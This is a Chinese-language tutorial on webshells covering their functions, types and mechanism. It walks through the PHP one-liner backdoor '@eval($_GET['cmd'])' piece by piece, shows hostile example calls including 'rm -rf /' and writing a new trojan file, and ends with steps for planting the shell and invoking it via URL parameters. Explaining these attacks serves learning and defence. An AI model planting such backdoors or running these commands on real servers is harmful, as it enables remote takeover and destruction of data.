一、简介
Webshell是一种嵌入在Web服务器中的恶意脚本文件(如PHP、ASP、JSP等格式),通常由攻击者通过漏洞上传或植入。它能让攻击者以网页访问的方式远程控制服务器,执行命令、查看/修改文件、窃取数据甚至提权,是黑客入侵Web应用后维持控制权的常用工具。因其伪装性强(常命名为普通脚本名),且通过Web端口通信,容易绕过常规防火墙检测,对服务器安全构成严重威胁。
二、功能
- 文件管理:远程上传、下载、删除服务器文件。
- 命令执行:直接运行系统命令操控服务器。
- 数据库管理:连接并操作各类数据库。
- 信息收集:获取服务器配置、环境变量等敏感数据。
- 后门持久性:植入隐藏程序或修改系统文件维持长期访问权限。
三、类型
- 根据编程语言:php木马、asp木马、基于.NET的aspx木马、基于Java的jsp木马。
- 根据文件内容大小:大马、小马、一句话木马。
- 根据实现的功能:打包马、拖库马、内存马等。
四、原理
<?php @eval($_GET['cmd']); ?>
1.代码解释
<?php ... ?>
- 作用:PHP脚本标记
- 解释:声明此文件包含PHP可执行代码
- 安全风险:确保上传路径不可访问该文件
@
- 作用:错误抑制符
- 解释:隐藏可能出现的错误(如未传参时
cmd
未定义),增强隐蔽性 - 攻击价值:避免错误日志暴露恶意行为
eval( )
- 作用:代码执行核心
- 解释:将字符串解析为PHP代码执行
- 高危行为:
eval("system('rm -rf /')") // 删除文件 eval("file_put_contents('hack.php','恶意代码')") // 创建新木马
$_GET['cmd']
- 作用:指令输入通道
- 解释:获取URL中
?cmd=
后的参数值 - 攻击特征:
参数值http://目标/shell.php?cmd=system('whoami')
system('whoami')
将被执行
;
- 作用:语句结束符
- 解释:PHP语法要求,结束当前表达式
2.工作原理
- 接收输入:通过HTTP请求参数(如POST中的$_POST[‘x’])接收攻击者发送的指令。
- 执行命令:利用脚本语言的高危函数(如PHP的eval()或system())将输入内容作为代码或系统命令动态执行。
- 返回结果:将命令执行结果直接嵌入HTTP响应体返回给攻击者,整个过程以Web服务器进程权限运行(如Linux的www-data),借助HTTP/HTTPS协议实现隐蔽通信,使得攻击者无需物理接触服务器即可远程控制系统。
五、使用
- 在www文件夹下添加一个php文件,放入一句话木马。
<?php @eval($_GET['cmd']); ?>
- 打开浏览器访问该文件,显示空白页面为正常页面。
- 添加指令
?cmd=phpinfo();
修改文件中的get为post。
也可成功显示出页面。